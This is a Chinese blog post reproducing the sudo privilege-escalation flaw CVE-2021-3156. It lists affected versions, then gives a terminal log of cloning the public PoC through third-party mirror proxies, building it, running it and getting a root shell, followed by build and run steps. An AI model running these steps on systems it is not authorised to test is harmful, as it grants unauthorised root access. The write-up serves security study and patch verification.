Linux sudo权限提升漏洞(CVE-2021-3156)复现

480 阅读1分钟

图片

Linux sudo权限提升漏洞(CVE-2021-3156)复现

一、漏洞简介

当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

二、影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

不受影响版本

Sudo =>1.9.5p2

三、漏洞复现

执行获取root权限:

图片

具体操作过程:
ubuntu@VM-0-5-ubuntu:~$ git clone https://github.91chifun.workers.dev//https://github.com/blasty/CVE-2021-3156.git
Cloning into 'CVE-2021-3156'...
warning: redirecting to https://github.com.cnpmjs.org/blasty/CVE-2021-3156.git/
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 11 (delta 2), reused 11 (delta 2), pack-reused 0
Unpacking objects: 100% (11/11), done.
ubuntu@VM-0-5-ubuntu:~$ cd C
Cerberus/           CVE-2020-13942/     CVE-2020-14882_ALL/ CVE-2020-8193/      CVE-2021-3156/      
ubuntu@VM-0-5-ubuntu:~$ cd CVE-2021-3156/
ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

  usage: ./sudo-hax-me-a-sandwich <target>

  available targets:
  ------------------------------------------------------------
    0) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    1) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
  ------------------------------------------------------------

ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
ubuntu@VM-0-5-ubuntu:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),114(sambashare),500(ubuntu)
#

exp地址:

https://github.com/blasty/CVE-2021-3156

图片

图片

操作步骤:

build:

$ make
list targets:

$ ./sudo-hax-me-a-sandwich
run:

$ ./sudo-hax-me-a-sandwich <target_number>

参考:

github.com/blasty/CVE-…

blog.csdn.net/Vdieoo/arti…

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

图片

个人知乎:www.zhihu.com/people/fu-w…

个人简书:www.jianshu.com/u/bf0e38a8d…

个人CSDN:blog.csdn.net/qq\_3760279…

个人博客园:www.cnblogs.com/thelostworl…

FREEBUF主页:www.freebuf.com/author/thel…

图片